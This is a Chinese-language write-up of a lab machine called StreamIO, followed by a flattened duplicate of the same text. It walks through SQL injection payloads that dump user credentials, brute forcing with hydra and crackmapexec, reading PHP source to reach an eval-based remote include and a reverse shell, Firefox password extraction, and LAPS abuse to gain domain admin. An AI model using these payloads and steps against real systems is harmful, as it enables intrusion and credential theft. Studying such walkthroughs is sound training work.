域渗透实战之StreamIO
字数 1729 2025-08-24 07:48:33

域渗透实战之StreamIO教学文档

1. 信息收集阶段

1.1 端口扫描与服务识别

使用nmap进行端口扫描,发现19个开放TCP端口,关键服务包括:

  • DNS (53)
  • Kerberos (88)
  • LDAP (389)
  • SMB (445)
  • RPC (135)
  • Netbios (139)
  • HTTPS (443)

443端口的TLS证书显示两个DNS名称:

  • streamIO.htb
  • watch.streamIO.htb

1.2 子域名枚举

使用wfuzz工具进行子域名枚举,发现:

  • 主域名:streamIO.htb
  • 子域名:watch.streamIO.htb

1.3 SMB服务爆破

使用crackmapexec工具对SMB服务进行爆破:

crackmapexec smb <target_ip>

1.4 Web应用信息收集

访问80端口发现winserver服务,访问HTTPS服务发现:

  • 联系页面,提交表单后提示"在电子邮件中寻找回复"
  • 注册功能可用但登录功能存在问题

1.5 目录爆破

使用feroxbuster进行目录爆破:

feroxbuster -u https://streamio.htb -x php

发现watch.streamIO.htb子域名下有:

  • 常见问题解答页面
  • 订阅表格(可提交但恶意payload会被WAF拦截)

2. 漏洞利用阶段

2.1 SQL注入漏洞

在search.php页面发现SQL注入点:

  • 搜索功能过滤电影结果
  • 存在WAF拦截关键字

手工注入测试:

  1. 测试基础注入:
test' union select 1,2,3,4,5,6;-- -
  1. 获取数据库信息:
u' union select 1,@@version,3,4,5,6 -- 
  1. 获取表信息:
u' union select 1,table_name,3,4,5,6 from information_schema.tables --
  1. 获取用户表列信息:
u' union select 1,column_name,3,4,5,6 from information_schema.columns where table_name='users' --
  1. 获取用户凭据:
u' union select 1,concat(username,':',password),3,4,5,6 from users --

2.2 密码破解

使用hashcat破解获取的哈希:

hashcat -m <hash_type> <hash_file> <wordlist>

2.3 用户枚举与认证

使用hydra进行用户枚举:

hydra -L users.txt -p passwords.txt <target_ip> https-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"

发现有效用户:

  • 用户名:yoshihide
  • 密码:66boysandgirls..

3. 权限提升阶段

3.1 后台功能分析

登录后台后发现有4个功能点,使用wfuzz枚举参数:

wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: PHPSESSID=<session_id>" --hh 1678

发现/debug目录和master.php文件。

3.2 源码获取与分析

使用PHP过滤器获取master.php源码:

curl "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php"

源码关键点:

  1. 包含检查:
if(!defined('included')) die("Only accessable through includes");
  1. 危险功能:
if(isset($_POST['include'])){
    if($_POST['include'] !== "index.php" )
        eval(file_get_contents($_POST['include']));
    else
        echo(" ---- ERROR");
}

3.3 远程代码执行

构造payload利用include参数执行命令:

  1. 本地开启HTTP服务
  2. 发送包含远程文件的POST请求
  3. 建立反向shell连接:
rlwrap -cAr nc -lnvp 443

成功获取初始shell。

4. 横向移动阶段

4.1 主机信息收集

在系统中发现:

  • Firefox配置文件
  • 数据库连接信息:
    • 用户:db_admin
    • 密码:B1@hx31234567890
    • 数据库:streamio_backup

4.2 数据库利用

使用sqlcmd连接数据库:

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q "<query>"

4.3 密码爆破与WinRM连接

使用crackmapexec爆破用户密码:

crackmapexec smb <target_ip> -u users.txt -p passwords.txt

发现用户nikk37的密码有效,使用evil-winrm连接:

evil-winrm -u nikk37 -p '<password>' -i <target_ip>

获取user.txt。

5. 域渗透阶段

5.1 Firefox密码提取

使用firepwd工具提取Firefox保存的密码:

./firepwd.py

5.2 权限检测

使用crackmapexec检测用户权限:

crackmapexec ldap <target_ip> -u <user> -p <password> --kdcHost <domain_controller> --users

发现JDgodd用户有特殊权限。

5.3 域内信息收集

使用BloodHound.py收集域信息:

bloodhound-python -d streamio.htb -u JDgodd -p <password> -ns <dc_ip> -c all

分析发现:

  • JDgodd对Core Staff组有WriteOwner权限
  • Core Staff组对DC计算机对象有ReadLAPSPassword权限

5.4 权限提升

  1. 上传PowerView.ps1到C:\programdata
  2. 导入JDgodd凭证对象
  3. 将JDgodd添加到Core Staff组

提取LAPS密码:

Get-AdComputer -Filter * -Properties ms-Mcs-AdmPwd -Credential $cred

或使用crackmapexec:

crackmapexec ldap <dc_ip> -u JDgodd -p <password> --laps

5.5 获取域管理员权限

使用evil-winrm以管理员连接:

evil-winrm -u administrator -p '8M[&tV4#!j$k05' -i <dc_ip>

获取root.txt完成渗透。

6. 总结

本次渗透测试流程:

  1. 信息收集:端口扫描、子域名枚举、目录爆破
  2. 漏洞利用:SQL注入绕过WAF、密码破解
  3. 初始访问:通过Web应用漏洞获取shell
  4. 横向移动:数据库利用、密码提取、WinRM连接
  5. 域渗透:BloodHound分析、权限提升、LAPS密码提取
  6. 最终目标:获取域管理员权限和root.txt

关键点:

  • SQL注入绕过WAF技术
  • 文件包含导致的RCE
  • Firefox密码提取
  • BloodHound域分析
  • LAPS密码利用
域渗透实战之StreamIO教学文档 1. 信息收集阶段 1.1 端口扫描与服务识别 使用nmap进行端口扫描,发现19个开放TCP端口,关键服务包括: DNS (53) Kerberos (88) LDAP (389) SMB (445) RPC (135) Netbios (139) HTTPS (443) 443端口的TLS证书显示两个DNS名称: streamIO.htb watch.streamIO.htb 1.2 子域名枚举 使用wfuzz工具进行子域名枚举,发现: 主域名:streamIO.htb 子域名:watch.streamIO.htb 1.3 SMB服务爆破 使用crackmapexec工具对SMB服务进行爆破: 1.4 Web应用信息收集 访问80端口发现winserver服务,访问HTTPS服务发现: 联系页面,提交表单后提示"在电子邮件中寻找回复" 注册功能可用但登录功能存在问题 1.5 目录爆破 使用feroxbuster进行目录爆破: 发现watch.streamIO.htb子域名下有: 常见问题解答页面 订阅表格(可提交但恶意payload会被WAF拦截) 2. 漏洞利用阶段 2.1 SQL注入漏洞 在search.php页面发现SQL注入点: 搜索功能过滤电影结果 存在WAF拦截关键字 手工注入测试: 测试基础注入: 获取数据库信息: 获取表信息: 获取用户表列信息: 获取用户凭据: 2.2 密码破解 使用hashcat破解获取的哈希: 2.3 用户枚举与认证 使用hydra进行用户枚举: 发现有效用户: 用户名:yoshihide 密码:66boysandgirls.. 3. 权限提升阶段 3.1 后台功能分析 登录后台后发现有4个功能点,使用wfuzz枚举参数: 发现/debug目录和master.php文件。 3.2 源码获取与分析 使用PHP过滤器获取master.php源码: 源码关键点: 包含检查: 危险功能: 3.3 远程代码执行 构造payload利用include参数执行命令: 本地开启HTTP服务 发送包含远程文件的POST请求 建立反向shell连接: 成功获取初始shell。 4. 横向移动阶段 4.1 主机信息收集 在系统中发现: Firefox配置文件 数据库连接信息: 用户:db_ admin 密码:B1@hx31234567890 数据库:streamio_ backup 4.2 数据库利用 使用sqlcmd连接数据库: 4.3 密码爆破与WinRM连接 使用crackmapexec爆破用户密码: 发现用户nikk37的密码有效,使用evil-winrm连接: 获取user.txt。 5. 域渗透阶段 5.1 Firefox密码提取 使用firepwd工具提取Firefox保存的密码: 5.2 权限检测 使用crackmapexec检测用户权限: 发现JDgodd用户有特殊权限。 5.3 域内信息收集 使用BloodHound.py收集域信息: 分析发现: JDgodd对Core Staff组有WriteOwner权限 Core Staff组对DC计算机对象有ReadLAPSPassword权限 5.4 权限提升 上传PowerView.ps1到C:\programdata 导入JDgodd凭证对象 将JDgodd添加到Core Staff组 提取LAPS密码: 或使用crackmapexec: 5.5 获取域管理员权限 使用evil-winrm以管理员连接: 获取root.txt完成渗透。 6. 总结 本次渗透测试流程: 信息收集:端口扫描、子域名枚举、目录爆破 漏洞利用:SQL注入绕过WAF、密码破解 初始访问:通过Web应用漏洞获取shell 横向移动:数据库利用、密码提取、WinRM连接 域渗透:BloodHound分析、权限提升、LAPS密码提取 最终目标:获取域管理员权限和root.txt 关键点: SQL注入绕过WAF技术 文件包含导致的RCE Firefox密码提取 BloodHound域分析 LAPS密码利用